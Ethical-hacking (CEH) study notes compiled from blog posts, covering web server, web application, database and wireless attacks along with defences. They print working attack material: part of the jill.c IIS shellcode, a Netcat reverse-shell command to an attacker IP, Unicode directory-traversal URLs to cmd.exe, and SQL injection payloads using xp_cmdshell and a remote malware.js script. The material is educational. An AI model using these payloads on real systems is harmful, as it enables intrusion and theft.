4 stages:

1. Open TCP req to IP/port # in URL
2. Req service by sending req headers to define method like GET
3. Completes transaction by responding w/response headers: Contain data
4. Close TCP connection: No info saved about transaction

Transport protocol: HTTP used w/SSL: Secure Sockets Layer/other protocols for encryption

- Web server responsible for answering web browser's reqs
- IIS: Internet Info Server/Apache/NGINX also
- Various web apps that web server runs:
  - **PHP: Hypertext Preprocessor | ASP: Active Server Pages | CGI: Common Gateway Interface**

Web attacks focus on following:

Scanning	Nmap/SuperScan/etc..
Banner grabbing	ID's server/ver: Netcat/Telnet here
Attacking web server	Finding unpatched servers/recently discussed vuln not patched
Surveying app	Attack on app could go unnoticed
Attacking auth	Weak forms might allow attacker to beat auth/guess commonly used passwds
Exploiting DB	Tempting target looking to make profit/cc theft

Scanning Web Servers: ID Server/ScaneLine/SuperScan/Nmap

80	HTTP
88	Kerberos
443	SSL (HTTPS)
8005	Apache Tomcat
8080	Squid
9090	Sun Web Server Admin

Banner Grabbing/Enumeration

Popular web servers include the following: IIS/Apache/Sun ONE

Create **head.txt**

```
GET HEAD / 1.0
[carriage return]
[carriage return]
nc -vv webserver 80 < head.txt (Netcat)
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/7.5
Date: Mon, 27 May 2013 04:12:01 GMT
Content-Type: text/html
Content-Length: 91
<html><head><title>Error</title></head><body>The parameter is incorrect
</body></html>
Connection to host lost
```

Wikto: Extended version of Nikto: Dev at SensePOst: Examines web servers/probes vuln

3 main sections:

1. Back-end miner
2. Nikto-like functionality
3. Googler

Examine site in detail: Could manually crawl: Site-ripping tool faster

Site ripper: Mirror site/make duplicate that can be stored

BlackWidow	Win website scanner/site ripper
Teleport Pro	Win website scanner/site-mapping tool
Wget	CLI for Win/Unix

Sites to check vulns include:

securityfocus.com	packetstormsecurity.org	nvd.nist.gov	exploit-db.com

Attacks Against Web Servers

Poor patch management example w/httpd.conf

```
<location /server-status>
SetHandler server-status
</Location>
```

- Allows anyone to view server status page: Contains detailed info about current use of web server

Example **php.ini**

```
display_error = on
log_errors = on
Error_log = syslog
ignore_repeated_errors = Off
```

IIS Vulnerabilities: Made great improvements in IIS 8.0: Older ver not as sec

Attacks categorized as 1 of following:

- Buffer-overflow
- Source-disclosure
- File system traversal

ISAPI DLL buffer overflow: June 2001: Targets **idq.dll**

- Executed? Can compromise servers running IIS
- Service [part of IIS indexing] doesn’t need to be actively running

- Because idq.dll runs as a sys: Attacker can easily escalate priv

IPP printer-overflow: About same time as **ISAPI DLL:** IIS 5.0

- Also targets ISAPI filter (**mws3ptr.dll**) that handles .printer files
- If buffer sent w/420 chars: Overflows: Potentially allows a shell drop: IIs5hack/jill-win32
- Inserts shell code to shovel shell back to listener on attacker’s sys

Exploit piece example (jill.c):

```
int main(int argc, char *argv[]){

/* the whole request rolled into one, pretty huh? carez. */

unsigned char sploit[]=
“\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20”
“\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90”
“\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90”
“\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95”
“\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95”
“\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3”
“\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa”
```

How it works:

1. Attacker: Netcat listener on computer: **nc -vv -l -p port**
2. Attacker: Issues jill-win32 cmd: jill-win43 victimIP port attackerIP port
3. Shell returned w/sys privs. ipconfig to verify

Source-disclosure attacks: Can uncover passwds/web design/business logic

+.htr exploit

- Vuln in **ISM.dll**/IIS4/5/6 Can be made to disclose src data instead of exe it
- Accomplished by appending **+.htr** to **global.asa** file

Create **htr.txt**

```
GET /victim_address/global.asa+.htr HTTP/1.0
CR
CR
```

nc -vv www.victim.com 80 <htr.txt

If vuln:

```
HTTP/1.1 200 OK
Server: Microsoft -IIS /6.0
Date: Wed, 11 Feb 2013 00:32:12 GMT
<!–filename = global.asa –!>
(“Profiles_ConnectionString”) = “DSN=Profiles; UID=User; password=secret”
(“LDAPUserID”)     = “cn=Admin”
(“LDAPPwd”)        = “p@ssw0rd”
```

File system traversal attacks:

Unicode input validation attack: Received a lot of press

- **Unicode:** Dev replacement to ASCII: Unlike ASCII: Uses 16-bit dataspace
    - Can support wide variety of alphabets
    - Src of vuln not Unicode, but how it's processed
    - Allows attacker to back out current dir/go wherever w/in logical drive's structure

2 iterations of this attack:

Unicode	Exploited w/char strings like: **%c1%1c, %c0%af, %c1%pc**
Double Decode	Exploited w/char strings like: **%255c,%%35c**

Possible b/c of way Unicode parsed:

- Overly long strs bypass filters designed to only check short Unicode
- Using Unicode syntax: ../../../ attacker can traverse out of current dir/run programs like cmd.exe

Example: http://web_server//scripts/..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c+dir+c:\

- Nimda worm used this vuln in 2001 to hit web servers

Snort capture of what traffic looked like:

```
0.0.0.0 – – [21/Oct/2010:01:14:03 +0000]
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
0.0.0.0 – – [21/Oct/2010:01:14:03 +0000]
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
```

Final step: Attacker shovels shell w/Socat/Netcat

Only needs Netcat to return cmd shell w/sys privs:

nc.exe -l -p <open port> Attacker's computer

nc.exe -v -e cmd.exe AttackerIP <open port> Victim's IIS server: **cmdasp.asp** loaded

- **Wfetch:** Allows attacker to fully customize HTTP reqs/examine how web server responds
- Shows in log files

BeEF: Browser Exploitation Framework: Focused on leveraging browser vuln to assess sec posture of a target

Securing IIS/Apache Web Servers: DiD: Defense-in-Depth techniques

1. Harden before you deploy
2. Exercise good patch management
3. Disable unneeded services
4. Lock down file system
5. Log/audit

Win Server Update Services	Enables deployment of latest MS updates to Win7/8/Server 2008/2012
MS HotFix Checker	Similar tool from MS allows you to scan machines for absence of sec updates
GFI LANguard	Helps remotely manage hotfixes/patches

Disabling unwanted services:

MS Baseline Sec Analyzer	Scans MS sys for common sec misconfigs

IIS Lockdown	Scans older IIS servers/turns off unnecessary features
SoapUI	Web services testing protocols: HTTP/SOAP/JSM/REST/WADL/WSDL
Retina	Vuln/patch mgmt tool

Web Application Hacking: Req attacker to uncover apps/understand logic
Unvalidated Input: When input from client isn't validated before being processed

- All input bad/must be tested
- Sometimes input controls placed solely in web browser
- If true: Attackers just have to use tools: Paros/Burp Proxy to inject input
    - Can go to site w/order entry form config Burp/pass completed entry form to Burp proxy
    - Can alter shopping cart total/click Continue
    - If back-end app doesn't check values being passed: May be able to alter them
- Data alteration/theft/system malfunctions

Parameter/Form Tampering: Manip of params passed bet client/web app
http://knowthetrade.com/Login.asp?w=i&o=1295
What if URL changed?
http://knowthetrade.com/Login.asp?w=i&o=1175

- May allow for change in price/quantity/perms/lvl of access to web app

Injection Flaws: Allows for untrusted data to be exe/interpreted as valid cmd: Constructing malicious cmds/queries
Common targets include:

SQL injection	Allows attacker to influence SQL queries an app passes to back-end DB
Cmd injection	Inject/exe cmds specified by attacker in vuln app b/c lack of correct input data validation • Can be manip by attacker (forms/cookies/HTTP headers/etc…)
File injection	Injecting remotely hosted file to exploit vuln scripts
LDAP injection	LDAP: Lightweight Directory Access Protocol • Services: TCP:389 | SSL: TCP:636 • Unvalidated web app input pass LDAP cmds used to access DB behind LDAP tree
XML injection	Similar to SQLi: Achieved through XPath injection in web services app • XPath injection attack targets XML doc rather than SQL db • Input str of malicious code meant to allow app to provide unvalidated access to protected info

XML injection example: If XML statement included in app req to place an order for stick of RAM:

- Attacker can attempt to mod req
- Can attempt to replace RAM with RAM</item><price>10.00</price><item>RAM

New XML would look like this:
<order><price>100.00</price> <item>RAM</item><price>10.00</price><item>RAM</item></order>
Poor validation: Value from 2nd <price> tag overrides value from 1st

- Enables attacker to purchase $100 RAM for $10

Cross-Site Scripting/Cross-Site Request Forgery Attacks

- Exploits trust so attacker uses web app to send malicious code to end usr

Vulns in dynamically generated pages

- May try to trick usr into clicking specifically crafted malicious link
- May change screen names/steal cookies/exe malicious code/etc…
- One way to exploit: Through HTML forms
- Web app servers typically take data input in form/display it back to usr in HTML page to confirm input

Other techniques: Attacking via email/stealing usr’s cookies/sending unauth req/targeting blog posting: Comment field of page

Example: <script> LUL </script>

- Browser sees <script> tag as beginning code block/renders as such

Steps

1. Find vuln site that issues needed cookies
2. Build attack code/verify that it will function:

```
<A HREF=”http://example.com/comment.cgi? mycomment=<script>malicious
code </script>”> Click here </a>
```

1. Build URL/embed code in email/web page
2. Trick usr into executing code
3. Hijack acct

Prevent: Patch vuln programs/validate inputs

XSRF: Cross-Site Request Forgery: 3rd party redirect of static content: Unauth cmds transmitted from usr that website trusts

- Completely carried out from attacker-influenced site against victim browser/from victim’s browser against target site
- When victim holds valid connection to legitimate site/visits malicious one:
  - Forces victim browser to make req w/out their knowledge

Hidden Field Attacks: Poor coding practice: Known/publicized

- Hidden HTML fields as sole mechanism for assigning price/obscuring value: Sometimes in shopping carts

Example:

```
<INPUT TYPE=HIDDEN NAME=”name” VALUE=”Mens Ring”>
<INPUT TYPE=HIDDEN NAME=”price” VALUE=”$345.50″>
<INPUT TYPE=HIDDEN NAME=”sh” VALUE=1″>
<INPUT TYPE=HIDDEN NAME=”return” VALUE=”
http://www.vuln_site.com/cgi-bin/cart.pl?
db=stuff.dat&category=&search=Mens-
Rings&method=&begin=&display=&price=&merchant=”>
<INPUT TYPE=HIDDEN NAME=”add2″ VALUE=”1″>
<INPUT TYPE=HIDDEN NAME=”img” VALUE=”
http://www.vuln_site.com/images/c-l4kring.jpg”>
```

All one has to do is save web page locally/mod amt/new value passed to web app:

- If no input validation performed: App accepts new value

```
<INPUT TYPE=”HIDDEN NAME=”name” VALUE=”Mens Ring”>
<INPUT TYPE=”HIDDEN NAME=”price” VALUE=”$5.99″>
```

- Refresh local HTML/click Add to Cart: Presented w/checkout of $5.99

- App should never rely on web browser to set price

Other issues directly related to lack of input validation include:

DoS	
Session Fixation	Tricks usr into accessing web server using explicated SID value • Accomplished via client-side script/HTTP header respond/<meta> tag **Example:** http://example.com/<meta http-equiv=Set-Cookie content=” sessionid=abc123”>
Direct OS cmds	Unauth exe of OS cmds
SOAP injection	Injects malicious query str in usr input fields to bypass web services auth
Path traversal	Allows attacker to move from 1 dir to another
Buffer Overflow	When app writes more data to mem than it can hold
Unicode encoding	Bypass sec filters: %c0%af..%c0%af..
URL encoding	Exe invalid app req via HTTP req: http://example.com%2fmalicious.js%22%3e%3c%2fscript%3e
Hex encoding	Obscuring URL: %77%77%77%77%77%2E%6B%6E%6F%77%77etc…

From <https://www.piratemoo.net/moosings/ethical-hacking/web-serverweb-appsdb-attacks-p1/>

Post 9

Friday, January 25, 2019 12:25 AM

SERVER/WEB APPS/DB HACKING P2

April 25, 2017 Moo Comments 0 Comment

Web-Based Authentication

- Auth: Critical role in sec of any site: May be areas for restricted/confidential/sensitive info
- Auth: Basic/Msg Digest/Cert based/Forms based
- Achieved through process of exclusive OR-ing (XOR)

Encryption starts to work when usr requests protected src

- Usr enters passwd: Sent via HTTP back to server: Data encoded by XOR bin op
- Function requires when 2 bits combined: Results will be only 0 if both same
- XOR converts symbols/letters/#'s to ASCII txt represented by bin equiv
- Resulting XOR value sent via HTTP: Encrypted txt

Basic encryption: One of the weakest forms of auth: Not much better than clear txt

- Obfuscation/sec by obscurity

MD: Improvement over basic: MD5 uses hashing alg: Based on challenge-response protocol

- Uses usrnname/passwd/none value to create encrypted value passed to server
- Nonce value makes it more resistant to cracking/makes sniffing attacks useless

Cert-based: Usrs attempt to auth: Present web server w/their certs

- Cert contains a public key/sig of a CA
- Web server must then verify validity of cert's sig/auth usr by using public key crypto

Forms based: Widely used on the Internet: Functions through use of a cookie issued to client

- After being auth: App generates cookie/session var: Stored cookie reused on subsequent visits
- If cookie stolen/hijacked: Attacker can use it to spoof victim at targeted sites

Web-Based Passwd Cracking/Auth Attacks

Basic types of passwd attacks:

Dictionary Attacks	**Hybrid attacks**	**Brute force attacks**

Passwd cracking tools:

Brutus	**WebCracker**	**THC-Hydra**	**ObiWan**

Cookies

- HTTP: Stateless: Presents real problems if you want to do something and it asks for location
- To keep track of loc, app must set a cookie: sent to browser: stored for later use
- Attackers will attempt to use cookies to further hold on a sys
- If app can be accessed via HTTP/HTTPS: Possible cookie can be accessed via clear txt

Tools to view cookies

CookieSpy	View/examine/determine cookie use
Cookie Digger	Find/ID weak/insecure cookies: Reports whether sensitive info such as passwds/usrnames stored in cookie

If the attacker can gain phys access to computer: These tools can be bused to steal cookies/view hidden passwds

Cookies used w/forms auth/"remember me" func might hold passwds/usrnames

- Example: **Set-Cookie: UID= bW1rZTptadjafhejkfhalsgqghwe; expires=Fri, 06-June-2013**

UID value appears to contain random letters, but if you run through it w/Base64 decoder, you end up with **mike:mikespasswd**

- Never good practice to store usrnames/passwds in a cookie

URL Obfuscation: Common schemes include: Hex/HTML/Base64/Unicode

Example: 0xde.0xaa.0xce.0x1a in hex converted to base10 gives 222.170.206.26

Examine snippet of code:

```
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset ($_
SERVER['HTTP_HOST']) == true){ // Create bot analytics
$stCurlLink = base64_decode( 'hfdjskfhdksflsdkjfhskdjhfshfaw'). '?
ip='.urlencode($_SERVER['REMOTE_ADDR']).'
&usergaent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVE
R['HTTP_HOST']).'&fullpath='.urlencode
($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
```

Portion of code comes after cmt: base64_decode: Hiding URL so it can't be easily detected

Example: Apache HTTP log of a backdoor script used to edit /public_html/.htaccess

```
192.168123.194 – – [07/05/2013:11:41:03  -0900]
"GET /path/footer.inc.php?
act=edit&file=/home/account/public_html/.htaccess HTTP/1.1"
200 4795 "http://website/path/footer.inc.php?act=filemanager"
"Mozilla/5.0…"
```

- footer.inc.php is the obscured named file containing the backdoor script
- **act=edit** and **file=.htaccess** provide the attacker w/built-in backdoor

- You can find these scripts by searching server logs for suspicious entries
- TCP dump/Windump come in handy for this
- Allows you to capture incoming/outgoing packets into file/play file back at later time
- Can log network traffic w/**-w** switch

tcpdump -w file.cap

If monitoring web server to see all HTTP packets: tcpdump -n dst port 80

Inercepting Web Traffic

- Burp Proxy
- Paros Proxy
- Achilles

Web proxies allow pen testers to attack/debuf web apps. Tools act as MITM: Enable interception/inspection/modifying raw contents of traffic as follows:

Intercept	See under the hood/watch traffic move back/forth bet client/server
Inspect	Enumerate how apps work/see the mechanisms they use
Modify	Modify data in attempt to see how apps will respond

Database Hacking

- DB's can be centralized or distributed
- Depends on DBMS: Database Management System implemented

DB Types

Hierarchical	○ Links arranged in a tree structure ○ Each record can only have 1 owner ○ Restricted hierarchical DB can't often be used to relate to structures in real world
Network	○ Developed to be more flexible than hierarchical ○ Considered a lattice structure: Each record can have multiple parent/child records
Relational	○ Usually a collection of tables linked by primary keys ○ Many orgs use SW based on relational DB design: Most DB's use SQL as query language
Object-Oriented	○ Relatively new/designed to overcome some limitations of large relational DB's ○ Doesn't use a high-level language like SQL ○ Support modeling/creation of data as objects

Most Common DB's

DB	**Port**
Oracle Net Listener	1521
MS SQL	1434
MySQL	3306

After DB ID'd: Attack can place single ' inside a usrname field to test for SQL vuln

- ' AKA tick: Used to delineate str values in a SQL statement

Will look for a return result like below:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ' and Password=' '.

/login.asp, line 42

SQL injection: Occurs when attacker is able to insert SQL statements into a query by means of a SQLi vuln

- Allows attacker to take advantage of unsecure code on a sys/pass cmds directly to a db
- Enables attackers to leverage access/perform a variety of activities
- Vuln servers can be shut down/have cmds executed on them/have db's extracted/etc..

Steps:

1. **Footprint:** Determine tech that web app is running
2. **ID:** ID usr input points
3. **Test:** Test usr input susceptible to the attack
4. **Exploit:** Place extra bits of code into input to execute cmds on victim's computer

SQL Injection Vulns

- One of the most common attack vectors
- Attack points include any input field

Techniques include:

Simple SQLi	Takes advantage of unvalidated input
Union SQLi	Makes use of UNION SELECT cmd to return union of the target DB w/one you've crafted to steal data from it
Error-based SQLi	Objective: Purposely enter poorly constructed statements in effort to get DB to respond w/table names/other error msgs
Blind SQLi	○ When attacker knows DB is susceptible to injection but error msgs/screen returns are suppressed/don't offer error codes/feedback ○ Can become time intensive/attacker may attempt to steal data by asking series of true/false statements

Commonly tested: Primary vulns:

- Lack of user input sanitization
- Data/control structures mixed in same transport channel

SELECT: Used to choose data you'd like to perform an action

- Statement starts w/word SELECT/followed by any # of options used to define what you want to act on/what action will be

SELECT * FROM Orders "I'd like SQL server to give me all records from tabled named Orders"

SELECT OrderID, FirstName, LastName FROM Orders

- Retrieves everything from Orders
- **WHERE** (setting up conditional statement)
- **LIKE** (Defining a condition where something is similar to given var)
- **AND/OR**

SELECT OrderID, FirstName, LastName FROM Orders WHERE LastName = 'Smith'

Simplest way to ID vuln:

- Add invalid/unexpected chars to a param value/watch for errors in response

Examples of attacks:

SELECT FirstName, LastName FROM Salesperson WHERE State = ‘ ‘;
INSERT INTO TABLE Users (‘username’) VALUES (‘mike’);
or
SELECT FirstName, LastName FROM Salesperson WHERE State = ‘ ‘;
UPDATE TABLE Users SET Salary=150000 WHERE username=’mike’; –‘
May simply try to ID table name:
blah’ AND 1+(SELECT COUNT(*) FROM mytable); —
Stealing data/records:
SELECT FirstName, LastName FROM Salesperson WHERE State=’ ‘;
UPDATE TABLE Users SET MiddleName= ‘<script src=”
http://link.com/malware.js”>’; –‘
May attempt to interact w/OS: 2 techniques often used reading/writing sys files from disk/direct cmd execution
‘; exec master. .xp_cmdshell ‘ping 192.168.123.254

SQLi Hacking Tools

SQLDict	Dictionary attack against SQL server
SQLExec	EXE’s cmds on compromised SQL server
SQLbf	Passwd-cracking program: Dictionary/brute-force
BSQLHacker	Automated SQLi tool
SQL2.exe	UDP buffer-overflow attack returns cmd prompt
Marathon Tool	Time-based blind SQLi testing
SQL Power Injection	Exploit
Havij	Back-end DB fingerprinting/retrive DBMS info/etc..
Absinthe	Exploit

From <https://www.piratemoo.net/moosings/ethical-hacking/serverweb-appsdb-hacking-p2/>

Post 10

Friday, January 25, 2019 12:25 AM

CEH: WIRELESS TECH/MOBILE

June 23, 2017 Moo Comments 0 Comment

First cell phones: 1G: Analog: 900MHz: Vuln to # of attacks

Tumbling: Attacker's phone appears to be legitimate roaming cell: Shifts to diff pairs of ESN's: Electronic Serial #/MIN: Mobile ID #

1G: Eavesdropping: Monitoring party's call w/out perm:
Cloning (capturing ESN/MIN of device) | Theft | Subscription fraud

FCC: 1994: Banned manufactured/imported scanners that could pick up freqs

Federal Law 18 USC 1029: Crime to knowingly/intentionally use altered cells/use of such services

18 USC 1028: Subscription fraud

Tech	Generation
AMPS	1G
TACS	1G
GSM	2G
CDMA	2G
GPRS	2.5G
EDGE	3G
WiMAX/LTE	4G

Generations:

1G	Allowed analog calls on cell: Convos moved seamlessly from cell to cell
2G	1990s: Changed analog over to digital on cell: • **GSM: Global System for Mobile | CDMA: Code-Division Multiple Access**
3G	Phones into mobile computers: Faster Internet/addl services • Downstream 400Kbps – 7Mbps
4G	Support TV in real time/video dl's higher speeds: • Mobile WiMAX • **LTE: Long Term Evolution**

Stingray: Device can masquerade as cell tower: MiTM's

Celebrite: Instant analysis of cell phones/data

Extenders: MiTM: **Modified femtocell**: Tricks phone into thinking attacker's network is local tower

Smartphone Vulnerabilities/Attack Vectors

Data exfiltration	Info pulled: Intellectual property concerns
Malware	Disguised as apps: Some vendors (Apple) have centralized app stores • Android: Can DL apps from anywhere
Geoloc	Geotagging loc of photos: Can be used to ID usr loc Example: Restaurant/shop coupons

Bump attacks	Exploits vuln in near-field comm sys built into devices • Can hijack handsets in close proximity

Android

1st open source/free mobile device platform: Fragmentation means vulns not addr

- Controls rights apps given w/sandbox design
- Allows usrs to give rights to some apps/not others
- Can allow apps to take pics/use GPS/make calls/etc..
- Apps issued UID: Used by kernel to control access to files/devices/resources
- Android's runtime sys tracks perms issued to each app

Some android apps:

Droid Sheep	Session-hijacking	**FaceNiff**	Sniff session ID's
FakeToken	Trojan: Steals mTANs: Mobile Transaction Auth #'s • Banking info	**ZitMo**	Mobile ver of Zeus bot
GingerBreaker	Trojan	**PremiumSMS**	Trojan: Generates revenue via SMS
Cawitt	Trojan: Info harvester	**AvnetSteal**	Harvests contacts/data

Framework Applications:

Native Android Apps	3rd Party Apps

Application Framework:

Activity Manager	Window Manager	Notification Manager
View System	Package Manager	Resource Manager
Content Providers		

Libraries:

SQLite	WebKit	OpenGL ES	FreeType
Surface Mgr	Media Framework	SSL	SGL
libc Android Runtime • Core libs • Dalvik VM			

Rooting: SuperOneClick | Superboot | Unrevoked | Universal Androot

iOS: Jailbreaking:

- Allows exe of unsigned code/free modification of underlying FS
- Can aid carrier unlocking: Allows usrs to use phone w/e carrier wanted
- Functionality not offered: Examples: Apple doesn't allow official apps to run in BG | Can't implement functionality

Jailbreaking apps: Cydia | Redsn0w | Absinthe | sn0wbreeze | PwnageTool

Windows Phone 8: 7 Win variants: Multiple layers of sec: Sec boot process

- Only allows trusted components loaded
- Handled partly by **UEFI: Unified Extensible Firmware Interface**
- Prevents loading of drivers/OS not signed/deemed source

BlackBerry: Dev: RIM: Research In Motion: Java-based app framework

- Takes advantage of J2ME mobile info profile/connected limited device config
- JAD file exploits/malicious code signing/mem manips/SMS SMiShing exploits

Known tools: Bugs and Kisses | PhoneSnoop | ZitMo

Mobile Device Management and Protection

Phys controls	Mandatory usrname/passwds: Limited passwd attempts
Tech controls	Encryption/remote wipe/AV/autolock/short lockout time • Centralized mgmt/restrict usr access/VPN
Admin controls	Policies/procedures/training

Sec tools include: BullGuard | Lookout | WISeID

Bluetooth: Ericsson: Standard for small radio-type devices: Assumed would replace cables/allow for short-range comm

3 classifications:

Class 1: Longest range: Up to 100 meters: **100mW**

Class 2: Up to 20 meters: **2.5mW**

Class 3: Most widely used: 10 meters: **1 mW**

BT op 2.45GHz	Divides BW into narrow chans to avoid interference w/devices using same freq **Can op in following modes:** • Discoverable • Limited discoverable • Non-discoverable **Pairing modes include:** • Non-pairable • Pairable

Even w/2 paired devices: Possible to target auth process: Ex: BTCrack: BT PIN-cracking tool

- Vuln: Early exploit ex: Bluejacking [not true attack]

Bluejacking: Allows individual to send unsolicited msgs over BT/BT devices: Txt/img/sound

Bluesnarfing: Theft of data/cal/phone book

- Flexilis: BlueSniper rifle: Can pick up BT sigs from up to 1 mile away

Tool Examples:

SuperBT Hack	Small mobile BT: Ops as Trojan
Bluesniff	BT driving
BlueScanner	Inquiry/brute forcer, ID BT w/in range/export results to txt files/sort
BlueBug	Exploits loophole: Allows unauth dling of books/call lists/sending-reading SMS msgs

WLAN's: Problems w/**CSMA/CD: Carrier Sense Multiple Access/Collision Detection**

Hidden Node Problem:

- Wired: Easy to detect if another device transmitting
- AP: Hears all wireless devices: Individual devices can't hear others

Solved hidden node:

- **CSMA/CA: Carrier Sense Multiple Access/Collision Avoidance used**
- Station listens before sending packets: Detects if someone transmitting:

Waits random period: Tries again

- If no one listening: Sends RTS: Ready-to-send msg

Frequencies/Signaling

802.11 WLAN Types

IEEE Standard	Over-the-Air	Transmission Scheme	Frequencies
802.11b	11Mbps	DSSS	2.4 – 2.2835Ghz
802.11a	54Mbps	OFDM	5.725 – 5.825Ghz
802.11g	54Mbps	OFDM/DSSS	2.4 – 2.2835Ghz
802.11n	540Mbps	MIMO-OFDM	2.4 – 2.2835Ghz

802.11 B/G/N: Divides usable spectrum into 14 overlapping chans w/frequencies 5MHz apart

Available for use in particular country

- N/America: 11 chans | EU: 13 chans | Japan: 14 chans

Most wireless broadcast by spread-spectrum: Transmits data over wide range of RF's

- Lessens noise interference/enables data rates to speed/slow depending on quality of sig
- Dev by mil to make eavesdropping diff/increase diff of jamming

Different techs used:

DSSS	**Direct-Sequence Spread Spectrum** • Divides stream of info into small bits • Bits mapped to pattern of ratios called spreading code • Higher spreading code > more sig resistant to interference/Less BW avail • Transmitter/receiver must be sync to same spreading code
FHSS	**Frequency-hopping Spread Spectrum** • Broad slice of BW spectrum/divides into smaller subchans about 1MHz **Dwell Time:** Transmitter hops bet subchans: Sends short bursts of data on each sub chan for short time • All comm devices must know dwell time/same hopping pattern • Uses more subchans then DHSS: Can support more devices
OFDM	**Orthogonal Frequency-Division Multiplexing** • Splits sig into smaller subsigs: Uses freq-division multiplexing • Sends diff pieces of data to receiver on diff freqs simultaneously

WPA/WPA2 Differences

Mode	WPA	WPA2
Enterprise	**Auth:** IEEE | 802.1x EAP	**Auth:** IEEE | 802.1x EAP
Personal	**Encryption:** TKIP/MIC | **Auth:** PSK **Encryption:** TKIP/MIC	**Encryption:** AES-CCMP | **Auth:** PSK **Encryption:** AES-CCMP

WLAN Threats: Eavesdropping/open auth/spoofing/DoS

Chalking	Marking w/chalk to show possible access to exposed networks
Driving	Finding status of networks auto. Typically GPS to record loc/discovery tool
Flying	Plane instead of car

Eavesdropping:

- If attacker w/in range: Can intercept radio sigs/decode data transmitted
- Only needs wireless sniffer/ability to play wireless nic card in

promiscuous

Promiscuous mode: Adapter capability to capture all packets: Not just those addressed to client

- Antenna can make range farther away: Hard to detect
- ARP poisoning: Allows attacker to overcome switch's segmentation/eavesdrop

Open Auth: Wireless config as open sys auth: Any client can connect to AP: Not good: No auth

- Some equip defaults to this: Free to sniff/connect/use

Rogue/Unauth AP's

2 Primary Threats:

1. Employee ability to install unmanaged AP's
2. **AP spoofing:** When rogues are setup near public places
    - Spoofed AP stronger sig? Devices choose spoofed AP: Perfect for MiTM's/Evil Twins [open hotspot]

Evil Twin: Rogue AP that appears to be legitimate on premises: Setup to eavesdrop

- Example: Pineapple
- Perform periodic site surveys > Yea. That's right. Do eet.

Host routing: Win/Linux IP fwding capabilities can become problematic

- Wireless client connected to both wired/wireless at same time? Can expose hosts on wired
- Auth client may connect to wired: Wireless adapter may be enabled on unknown WLAN w/misconfig
- Can compromise host machine via open WLAN adapter to attack wired hosts

DoS: Denial of Service: Can target single device/entire network/render equip useless

Common DoS Types

Auth Flood	Generates flood of EAPOL msgs req 802.1X auth • Server can't respond to flooded reqs: Fails to return successful connections to valid clients
De-auth Flood	AKA: **Fatajack:** Targets individual client • Spoofs de-auth frame from WAP to victim: Device attempts to reconnect • Need to constantly send stream of de-auth packets to keep client out of service
Network-jamming	Targets entire wireless network • Uses transmitter to flood airwaves in vicinity of network • 1,000watt jammer 300ft away: Can jam 50-100ft into office area • Cordless phones can be converted into jammers • Can be found in microwaves: Magnetron ○ Microwaves don't emit sigs beyond shielded cabinets: Can mod that ○ **Dangerous to people near transmitter along w/network**
Equipment Destruction	Targets AP: Uses high-output transmitter w/directional high-gain antenna to pulse AP • High-energy RF power damages electronics in WAP: Perm destruction • RF guns

Wireless Discovery

NetStumbler	Win: Locate/detect 802.11b/a/g [XP] standards • War driving/verify configs/rogue AP's/aiming directional antennas
Mognet	Open source Java-based sniffer: Handhelds: Runs on other platforms • Real-time frame captures • Save/load frames in common fmts [Ethereal/Libpcap/TCPdump]
OmniPeek	Win: WLAN analyzer: Deploy sec/troubleshoot WLANs • Site surveys/assessments/monitoring/analysis/app layer protocol analysis
WaveStumbler	Linux: Basic info about AP's: Chan/SSID/MAC
inSSIDer	Win: Sniffing: AP's
THC-Wardrive	Linux: Mapping AP's: Works w/GPS

GPS Mapping: Attacker creates map of known AP's/loc: Some site survey tools can be used
Examples: www.skyhookwireless.com | http://wigle.net

Wireless Traffic Analysis:

Packet-Sniffing: Wireshark w/AirPcap | Cascade Pilot | OmniPeek | CommView

Attack tools [hidden SSID's/fragmentation/MAC spoofing/Dos/MiTM/Eveil-twins]: Aircrack-ng | Airsnarf | Void 11

Cracking/Compromising

AirSnort	Linux: WLAN WEP cracking: Passively monitors transmissions/figures out encryption keys w/enough captured packets
coWAPtty	Recovers WPA encryption keys
Cain-Abel	Recover WEP/WPA encryption keys w/assosiated AirPcap adaptor
Kismet	Linux: 802.11 network detector/sniffer/IDS • Passively collects packets/detects standard named networks/masked/nonbeaconing via data traffic
AirTraf	Linux: Packet capture decode tool for 802.11b: Gathers/orgs packets/performs BW calc/sig str info
Elcomsoft Sec Auditor	WPA cracks

Defense in Depth: Building many layers of protection

- Encrypt data: Hide from unauth individuals
- Limit access: Rule of least priv
- Provide phys protection
- Strong auth to verify ID of usrs
- Limit damage if 1 layer gets taken out

Default SSIDs

Manufacturer	**SSID**
Cisco	**tsunami**
3COM	**101**
Compaq	**Compaq**
Baystack	**Default SSID**
Linksys	**linksys**

Netgear	**NETGEAR**

Site Surveys: Gather enough info to determine whether client has right #/placement of AP's for coverage

- Check for rogue AP's | Interference

6 basic steps:

1. Get facility diagram
2. Visually inspect facility
3. ID usr areas
4. Tools to determine primary access locs/check for rogue AP's
5. After AP installs: Check sig str/range
6. Doc findings/update policy/inform usrs of rules

802.1x: Provides port-based access control

When used in conjunction w/EAP: Extensible Auth Protocol

- Can be used as means of auth devices connected to specific LAN ports
